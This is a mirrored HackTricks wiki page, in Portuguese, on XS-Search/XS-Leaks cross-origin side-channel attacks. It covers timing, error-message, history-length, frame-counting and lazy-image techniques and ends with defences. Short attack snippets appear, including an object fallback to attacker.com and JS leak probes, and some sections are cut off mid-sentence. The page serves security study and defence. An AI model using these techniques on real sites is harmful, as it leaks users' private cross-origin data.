mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
409 lines
36 KiB
Markdown
409 lines
36 KiB
Markdown
# XS-Search/XS-Leaks
|
||
|
||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||
Acesse hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtenha o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## **Informações básicas**
|
||
|
||
XS-Search é uma técnica orientada para **exfiltrar informações de origem cruzada** abusando de **ataques de canal lateral**.
|
||
|
||
Existem diferentes elementos nesse tipo de ataque:
|
||
|
||
* **Web vulnerável**: é a web de onde queremos exfiltrar algumas informações
|
||
* **Web do atacante**: é a web que o atacante cria contendo o exploit e que a vítima acessa
|
||
* **Método de inclusão**: é o método usado para carregar a Web vulnerável a partir da Web do atacante (como window.open, iframe, fetch, tag HTML com href...)
|
||
* **Técnica de vazamento**: após acessar a web vulnerável, uma técnica será usada para diferenciar entre o status potencial da web com as informações obtidas do método de inclusão usado.
|
||
* **Estados**: os 2 possíveis estados que a web vulnerável pode ter dependendo da vítima que queremos diferenciar.
|
||
* **Diferenças detectáveis**: estas são as informações que o atacante tem que tentar decidir o status da web vulnerável
|
||
|
||
### Diferenças detectáveis
|
||
|
||
Para distinguir entre os 2 estados da página vulnerável, várias coisas podem ser observadas:
|
||
|
||
* **Código de status**. Um atacante pode distinguir **diferentes códigos de status de resposta HTTP** de origem cruzada (por exemplo, erros do servidor, erros do cliente ou erros de autenticação).
|
||
* **Uso de API**. Esta diferença detectável permite que um atacante detecte o **uso de APIs da Web** em páginas, permitindo que um atacante infira se uma página de origem cruzada está usando uma API da Web JavaScript específica.
|
||
* **Redirecionamentos**. É possível detectar se um aplicativo da web **navegou o usuário para uma página diferente**. Isso não se limita a redirecionamentos HTTP, mas também inclui redirecionamentos acionados por JavaScript ou HTML.
|
||
* **Conteúdo da página**. Essas diferenças detectáveis **aparecem no corpo da resposta HTTP** ou em sub-recursos incluídos pela página. Por exemplo, isso poderia ser o **número de quadros incluídos** (cf. XS-Leak no Gitlab) ou diferenças de tamanho de imagens.
|
||
* **Cabeçalho HTTP**. Um atacante pode detectar a presença de um **cabeçalho de resposta HTTP específico** e pode ser capaz de reunir seu valor. Isso inclui cabeçal
|
||
```html
|
||
<object data="//example.com/404">
|
||
<object data="//attacker.com/?error"></object>
|
||
</object>
|
||
```
|
||
Neste caso, se `example.com/404` não for encontrado, `attacker.com/?error` será carregado.
|
||
|
||
### Tempo de carregamento
|
||
|
||
* **Métodos de inclusão**: Elementos HTML
|
||
* **Diferença detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
|
||
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
|
||
* **Resumo**: A API \*\*\*\* [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pode ser usada para medir quanto tempo leva para realizar uma solicitação. No entanto, outros relógios podem ser usados, como a [**API PerformanceLongTaskTiming**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), que pode identificar tarefas em execução por mais de 50ms.
|
||
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) outro exemplo em:
|
||
|
||
{% content-ref url="xs-search/performance.now-example.md" %}
|
||
[performance.now-example.md](xs-search/performance.now-example.md)
|
||
{% endcontent-ref %}
|
||
|
||
#### Tempo de carregamento + Tarefa pesada forçada
|
||
|
||
Essa técnica é como a anterior, mas o **atacante** também **forçará** alguma ação a levar um **tempo relevante** quando a **resposta for positiva ou negativa** e medirá esse tempo.
|
||
|
||
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
|
||
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Tempo de descarregamento / beforeunload
|
||
|
||
* **Métodos de inclusão**: Frames
|
||
* **Diferença detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
|
||
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||
* **Resumo**: O relógio [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) pode ser usado para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
|
||
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||
|
||
Os eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) e [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event) podem ser usados para medir o tempo que leva para buscar um recurso. Isso funciona porque o **`beforeunload`** é acionado quando o navegador faz uma **nova solicitação de navegação**, enquanto o **`unload`** é acionado quando essa **navegação realmente ocorre**. De
|
||
### Loop de Eventos Ocupado <a href="#busy-event-loop" id="busy-event-loop"></a>
|
||
|
||
* **Métodos de Inclusão**:
|
||
* **Diferença Detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
|
||
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||
* **Resumo:** Mede o tempo de execução de um web locking o loop de eventos de uma thread e cronometrando **quanto tempo leva para o loop de eventos ficar disponível novamente**.
|
||
* **Exemplo de código**:
|
||
|
||
Uma das principais vantagens dessa técnica é sua capacidade de contornar o Isolamento de Site, pois a origem do atacante pode influenciar a execução de outra origem.
|
||
|
||
{% hint style="warning" %}
|
||
Em uma execução de tempo, é possível **eliminar** **fatores de rede** para obter **medições mais precisas**. Por exemplo, carregando os recursos usados pela página antes de carregá-la.
|
||
{% endhint %}
|
||
|
||
### Pool de Conexão
|
||
|
||
* **Métodos de Inclusão**: Solicitações JavaScript
|
||
* **Diferença Detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
|
||
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||
* **Resumo:** Um atacante pode bloquear todos os soquetes, exceto 1, carregar a web de destino e, ao mesmo tempo, carregar outra página, o tempo até que a última página comece a carregar é o tempo que a página de destino levou para carregar.
|
||
* **Exemplo de código**:
|
||
|
||
{% content-ref url="xs-search/connection-pool-example.md" %}
|
||
[connection-pool-example.md](xs-search/connection-pool-example.md)
|
||
{% endcontent-ref %}
|
||
|
||
Os navegadores usam soquetes para se comunicar com servidores. Como o sistema operacional e o hardware em que ele é executado têm recursos limitados, **os navegadores têm que impor um limite**. Para explorar a existência desse limite, os atacantes podem:
|
||
|
||
1. Verifique qual é o limite do navegador, por exemplo, 256 soquetes globais.
|
||
2. Bloqueie 255 soquetes por um longo período de tempo, realizando 255 solicitações a hosts diferentes que simplesmente penduram a conexão.
|
||
3. Use o 256º soquete realizando uma solicitação à página de destino.
|
||
4. Realize uma 257ª solicitação a outro host. Como todos os soquetes estão sendo usados (nas etapas 2 e 3), essa solicitação deve esperar até que o pool receba um soquete disponível. Esse período de espera fornece ao atacante o tempo de sincronização da rede do 256º soquete, que pertence à página de destino. Isso funciona porque os 255 soquetes na etapa 2 ainda estão bloqueados, portanto, se o pool receber um soquete disponível, isso foi causado pela liberação do soquete na etapa 3. O tempo para liberar o 256º soquete está diretamente conectado ao tempo necessário para concluir a solicitação.
|
||
|
||
Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||
|
||
### Pool de Conexão por Destino
|
||
|
||
* **Métodos de Inclusão**: Solicitações JavaScript
|
||
* **Diferença Detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
|
||
*
|
||
### Service Worker
|
||
|
||
* **Métodos de inclusão**: Frames
|
||
* **Diferença detectável**: Uso da API
|
||
* **Mais informações**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
|
||
* **Resumo:** Detecte se um service worker está registrado para uma origem específica.
|
||
* **Exemplo de código**:
|
||
|
||
Os service workers são contextos de script orientados a eventos que são executados em uma origem. Eles são executados em segundo plano de uma página da web e podem interceptar, modificar e **armazenar em cache recursos** para criar aplicativos da web offline.\
|
||
Se um **recurso armazenado em cache** por um **service worker** é acessado via **iframe**, o recurso será **carregado a partir do cache do service worker**.\
|
||
Para detectar se o recurso foi **carregado a partir do cache do service worker**, a **API de desempenho** pode ser usada.\
|
||
Isso também pode ser feito com um ataque de temporização (verifique o artigo para obter mais informações).
|
||
|
||
### Cache
|
||
|
||
* **Métodos de inclusão**: Fetch API
|
||
* **Diferença detectável**: Temporização
|
||
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
||
* **Resumo:** Detecte se um recurso foi armazenado em cache.
|
||
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))
|
||
|
||
Usando a [API de desempenho](xs-search.md#performance-api), é possível verificar se um recurso está armazenado em cache.\
|
||
Para mais informações: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
||
|
||
### Duração da Rede
|
||
|
||
* **Métodos de inclusão**: Fetch API
|
||
* **Diferença detectável**: Conteúdo da página
|
||
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||
* **Resumo:** É possível recuperar a duração da rede de uma solicitação da API `performance`.
|
||
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||
|
||
## Técnica de Mensagens de Erro
|
||
|
||
### Erro de Mídia
|
||
|
||
* **Métodos de inclusão**: Elementos HTML (Vídeo, Áudio)
|
||
* **Diferença detectável**: Código de status
|
||
* **Mais informações**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
||
* **Resumo:** No FF, é possível vazar com precisão o código de status de uma solicitação de origem cruzada.
|
||
* **Exemplo de código**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
||
```javascript
|
||
// Code saved here in case it dissapear from the link
|
||
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
|
||
window.addEventListener("load", startup, false);
|
||
function displayErrorMessage(msg) {
|
||
document.getElementById("log").innerHTML += msg;
|
||
}
|
||
|
||
function startup() {
|
||
let audioElement = document.getElementById("audio");
|
||
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
|
||
document.getElementById("startTest").addEventListener("click", function() {
|
||
audioElement.src = document.getElementById("testUrl").value;
|
||
}, false);
|
||
// Create the event handler
|
||
var errHandler = function() {
|
||
let err = this.error;
|
||
let message = err.message;
|
||
let status = "";
|
||
|
||
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
|
||
// Firefox error.message when the request loads successfully: "Failed to init decoder"
|
||
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
|
||
status = "Success";
|
||
}else{
|
||
status = "Error";
|
||
}
|
||
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
|
||
};
|
||
audioElement.onerror = errHandler;
|
||
}
|
||
```
|
||
A propriedade de mensagem da interface **`MediaError`** contém uma **string diferente para recursos que são carregados com sucesso**. Isso permite que um atacante infira o status de resposta para um recurso de origem cruzada.
|
||
|
||
### Erro de CORS
|
||
|
||
* **Métodos de inclusão**: Fetch API
|
||
* **Diferença detectável**: Cabeçalho
|
||
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||
* **Resumo:** Em SA, as mensagens de erro de CORS vazam a URL completa de redirecionamentos.
|
||
* **Exemplo de código**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||
|
||
Essa técnica permite que um atacante vaze o alvo de um redirecionamento que é iniciado por um site de origem cruzada.
|
||
|
||
O CORS permite que recursos da web publicamente acessíveis sejam lidos e usados a partir de qualquer site. Nos navegadores baseados em Webkit, é possível **acessar as mensagens de erro de CORS quando uma solicitação CORS falha**. Um atacante pode enviar uma solicitação habilitada para CORS para um site de destino que **redireciona** com base no estado do usuário. Quando o navegador nega a solicitação, a **URL completa do destino do redirecionamento é vazada** na mensagem de erro. Com esse ataque, é possível detectar redirecionamentos, vazar locais de redirecionamento e parâmetros de consulta sensíveis.
|
||
|
||
### Erro de SRI
|
||
|
||
* **Métodos de inclusão**: Fetch API
|
||
* **Diferença detectável**: Cabeçalho
|
||
* **Mais informações**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||
* **Resumo:** Em SA, as mensagens de erro de CORS vazam a URL completa de redirecionamentos.
|
||
* **Exemplo de código**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||
|
||
Um atacante pode vazar o tamanho das respostas de origem cruzada devido a **mensagens de erro verbosas**.
|
||
|
||
O atributo de integridade define um hash criptográfico pelo qual o navegador pode verificar se um recurso buscado não foi manipulado. Esse mecanismo de segurança é chamado de Subresource Integrity (SRI). É usado para verificação de integridade de recursos servidos por redes de entrega de conteúdo (CDNs). Para evitar vazamentos de dados, os recursos de origem cruzada devem ser **habilitados para CORS**. Caso contrário, a resposta não é elegível para validação de integridade. Semelhante ao vazamento de erro de CORS XS-Leak, é possível capturar a **mensagem de erro após uma solicitação de busca com um atributo de integridade falhar**. Um atacante pode forçadamente **disparar** esse **erro** em qualquer solicitação especificando um **valor de hash falso**. Em SA, essa mensagem de erro vaza o comprimento do conteúdo do recurso solicitado. Um atacante pode usar esse vazamento para detectar diferenças no tamanho da resposta, o que permite poderosos ataques XS-Leak.
|
||
|
||
### Violação/Detecção de CSP
|
||
|
||
* **Métodos de inclusão**: Pop-ups
|
||
* **Diferença detectável**: Código de status
|
||
* **Mais informações**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Arch
|
||
### Comprimento Máximo de URL - Lado do Cliente
|
||
|
||
* **Métodos de Inclusão**: Pop-ups
|
||
* **Diferença Detectável**: Código de Status / Conteúdo
|
||
* **Mais informações**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||
* **Resumo:** Detecte diferenças nas respostas porque o comprimento da resposta de redirecionamento pode ser muito grande para uma solicitação que uma diferença possa ser notada.
|
||
* **Exemplo de código**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||
|
||
De acordo com a [documentação do Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length), o comprimento máximo de URL do Chrome é de 2MB.
|
||
|
||
> Em geral, a _plataforma web_ não tem limites no comprimento de URLs (embora 2^31 seja um limite comum). O _Chrome_ limita os URLs a um comprimento máximo de **2MB** por razões práticas e para evitar problemas de negação de serviço na comunicação entre processos.
|
||
|
||
Portanto, se o **URL de redirecionamento respondido for maior em um dos casos**, é possível fazer com que ele redirecione com um **URL maior que 2MB** para atingir o **limite de comprimento**. Quando isso acontece, o Chrome mostra uma página **`about:blank#blocked`**.
|
||
|
||
A **diferença perceptível** é que se o **redirecionamento** foi **concluído**, `window.origin` lança um **erro** porque uma origem cruzada não pode acessar essa informação. No entanto, se o **limite** foi **atingido** e a página carregada foi **`about:blank#blocked`**, a **`origin`** da janela permanece a do **pai**, que é uma informação **acessível**.
|
||
|
||
Todas as informações extras necessárias para atingir os **2MB** podem ser adicionadas por meio de um **hash** na URL inicial para que seja **usado no redirecionamento**.
|
||
|
||
{% content-ref url="xs-search/url-max-length-client-side.md" %}
|
||
[url-max-length-client-side.md](xs-search/url-max-length-client-side.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Máximo de Redirecionamentos
|
||
|
||
* **Métodos de Inclusão**: Fetch API, Frames
|
||
* **Diferença Detectável**: Código de Status
|
||
* **Mais informações**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
|
||
* **Resumo:** Abusa do limite de redirecionamentos para detectar redirecionamentos.
|
||
* **Exemplo de código**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
||
|
||
Se o número **máximo** de **redirecionamentos** a seguir de um navegador for **20**, um invasor poderia tentar carregar sua página com **19 redirecionamentos** e finalmente **enviar a vítima** para a página testada. Se um **erro** for acionado, então a página estava tentando **redirecionar a vítima**.
|
||
|
||
### Comprimento do Histórico
|
||
|
||
* **Métodos de Inclusão**: Frames, Pop-ups
|
||
* **Diferença Detectável**: Redirecionamentos
|
||
* **Mais informações**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
||
* **Resumo:** O código JavaScript manipula o histórico do navegador e pode ser acessado pela propriedade length.
|
||
* **Exemplo de código**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
||
|
||
A API de Histórico permite que o código JavaScript manipule o histórico do navegador, que **salva as páginas visitadas por um usuário**. Um invasor pode usar a propriedade length como um método de inclusão: para detectar navegações em JavaScript e HTML.\
|
||
**Verificando `history.length`**, fazendo um usuário **navegar** para uma página, **voltar** para ela **de volta** para a mesma origem e **verificando** o novo valor de **`history.length`**.
|
||
|
||
### Comprimento do Histórico com a mesma URL
|
||
|
||
* **Métodos de Inclusão**: Frames, Pop-ups
|
||
* **Diferença Detectável**: Se a URL é a mesma que a adivinhada
|
||
* **Resumo:** É possível adivinhar se a localização de um frame/pop-up está em uma URL específica abusando do comprimento do histórico.
|
||
* **Exemplo de código**: Abaixo
|
||
|
||
Um invasor poderia usar o código JavaScript para **manipular a localização do frame/pop-up para uma adivinhada** e **imediatamente** **mudá-la para `about:blank`**. Se o comprimento do histórico aumentar, significa que a URL estava correta e teve tempo para **aumentar porque a URL não é recarregada se for a mesma**. Se não aumentar, significa que ele **tentou carregar a URL adivinhada** mas porque **imediatamente depois** carregou **`about:blank`**, o **comprimento do histórico nunca aumentou** ao carregar a URL adivinhada.
|
||
```javascript
|
||
async function debug(win, url) {
|
||
win.location = url + '#aaa';
|
||
win.location = 'about:blank';
|
||
await new Promise(r => setTimeout(r, 500));
|
||
return win.history.length;
|
||
}
|
||
|
||
win = window.open("https://example.com/?a=b");
|
||
await new Promise(r => setTimeout(r, 2000));
|
||
console.log(await debug(win, "https://example.com/?a=c"));
|
||
|
||
win.close();
|
||
win = window.open("https://example.com/?a=b");
|
||
await new Promise(r => setTimeout(r, 2000));
|
||
console.log(await debug(win, "https://example.com/?a=b"));
|
||
```
|
||
### Contagem de Frames
|
||
|
||
* **Métodos de inclusão**: Frames, Pop-ups
|
||
* **Diferença detectável**: Conteúdo da página
|
||
* **Mais informações**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
||
* **Resumo:** Ler o número de frames (window.length).
|
||
* **Exemplo de código**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||
|
||
Contar o **número de frames em uma página da web** aberta via `iframe` ou `window.open` pode ajudar a identificar o **status do usuário sobre essa página**.\
|
||
Além disso, se a página tiver sempre o mesmo número de frames, verificar **continuamente** o número de frames pode ajudar a identificar um **padrão** que pode vazar informações.
|
||
|
||
Um exemplo dessa técnica é que no Chrome, um **PDF** pode ser **detectado** com **contagem de frames** porque um `embed` é usado internamente. Existem [Par
|
||
### Busca de Tempo
|
||
|
||
* **Métodos de inclusão**: Fetch API
|
||
* **Diferença detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
|
||
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||
* **Resumo:** A API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pode ser usada para medir quanto tempo leva para realizar uma solicitação. Outros relógios podem ser usados.
|
||
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||
|
||
### Busca Cruzada de Janelas
|
||
|
||
* **Métodos de inclusão**: Pop-ups
|
||
* **Diferença detectável**: Tempo (geralmente devido ao conteúdo da página, código de status)
|
||
* **Mais informações**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||
* **Resumo:** A API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) pode ser usada para medir quanto tempo leva para realizar uma solicitação usando `window.open`. Outros relógios podem ser usados.
|
||
* **Exemplo de código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||
|
||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, usando as **ferramentas da comunidade mais avançadas do mundo**.\
|
||
Acesse hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## Com HTML ou Re Injeção
|
||
|
||
Aqui você pode encontrar técnicas para exfiltrar informações de um HTML de origem cruzada **injetando conteúdo HTML**. Essas técnicas são interessantes em casos em que, por qualquer motivo, você pode **injetar HTML, mas não pode injetar código JS**.
|
||
|
||
### Marcação Pendurada
|
||
|
||
{% content-ref url="dangling-markup-html-scriptless-injection.md" %}
|
||
[dangling-markup-html-scriptless-injection.md](dangling-markup-html-scriptless-injection.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Carregamento Lento de Imagem
|
||
|
||
Se você precisa **exfiltrar conteúdo** e pode **adicionar HTML anterior ao segredo**, você deve verificar as **técnicas comuns de marcação pendurada**.\
|
||
No entanto, se por qualquer motivo você **PRECISAR** fazê-lo **caractere por caractere** (talvez a comunicação seja via um cache hit), você pode usar esse truque.
|
||
|
||
**Imagens** em HTML têm um atributo "**loading**" cujo valor pode ser "**lazy**". Nesse caso, a imagem será carregada quando for visualizada e não enquanto a página estiver carregando:
|
||
```html
|
||
<img src=/something loading=lazy >
|
||
```
|
||
Portanto, o que você pode fazer é **adicionar muitos caracteres aleatórios** (por exemplo, **milhares de "W"**) para **preencher a página da web antes do segredo**. Fazemos isso para que a imagem não seja carregada no início.
|
||
|
||
No entanto, você faz o **bot acessar a página** com algo como
|
||
```
|
||
#:~:text=SECR
|
||
```
|
||
Então a página da web será algo como: **`https://vitima.com/post.html#:~:text=SECR`**
|
||
|
||
Onde post.html contém os caracteres lixo do atacante e a imagem de carregamento lento e, em seguida, o segredo do bot é adicionado.
|
||
|
||
O que este texto fará é fazer com que o bot acesse qualquer texto na página que contenha o texto `SECR`. Como esse texto é o segredo e está logo abaixo da imagem, a imagem só será carregada se o segredo adivinhado estiver correto. Então, você tem seu oráculo para exfiltrar o caractere secreto por caractere.
|
||
|
||
Alguns exemplos de código para explorar isso: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||
|
||
Encontre **outro exemplo usando carregamento lento** aqui:
|
||
|
||
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
|
||
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
|
||
{% endcontent-ref %}
|
||
|
||
### ReDoS
|
||
|
||
{% content-ref url="regular-expression-denial-of-service-redos.md" %}
|
||
[regular-expression-denial-of-service-redos.md](regular-expression-denial-of-service-redos.md)
|
||
{% endcontent-ref %}
|
||
|
||
### CSS ReDoS
|
||
|
||
Se `jQuery(location.hash)` for usado, é possível descobrir por meio de temporização **se algum conteúdo HTML existe**, isso porque se o seletor `main[id='site-main']` não corresponder, não é necessário verificar o restante dos **seletores**:
|
||
```javascript
|
||
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
|
||
```
|
||
### Injeção de CSS
|
||
|
||
{% content-ref url="xs-search/css-injection/" %}
|
||
[injeção de CSS](xs-search/css-injection/)
|
||
{% endcontent-ref %}
|
||
|
||
## Defesas
|
||
|
||
Nesta seção, você pode encontrar parte das mitigação recomendadas em [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf), no entanto, há mais mitigação em cada seção do wiki [https://xsleaks.dev/](https://xsleaks.dev/). Dê uma olhada lá para obter mais informações sobre como se proteger contra essas técnicas.
|
||
|
||
### Mitigações do Método de Inclusão
|
||
|
||
* **Elementos HTML**. Pode-se usar o **cabeçalho CORP para controlar se as páginas podem incorporar um recurso**. O CORP pode ser definido como mesma origem ou mesmo site e bloqueia qualquer solicitação de origem cruzada ou respectivamente de site cruzado para esse recurso. No **lado do cliente**, os navegadores baseados em Chromium usam o algoritmo **CORB** para decidir se as solicitações de recursos de origem cruzada devem ser permitidas ou negadas.
|
||
* **Frames**. A principal defesa para **impedir que elementos iframe** carreguem recursos HTML é o uso de **X-Frame-Options**. Alternativamente, a diretiva **frame-ancestors CSP** pode alcançar um resultado semelhante. Se a incorporação for negada, o método de inclusão não pode detectar uma diferença nas respostas.
|
||
* **Pop-ups**. Para restringir o acesso a `window.opener`, o cabeçalho de resposta HTTP **COOP** define três valores diferentes: unsafe-none (padrão), same-origin-allow-popups e same-origin. Esses valores podem ser usados para **isolar as guias de navegação e pop-ups** e, portanto, mitigar as técnicas de vazamento baseadas em pop-ups.
|
||
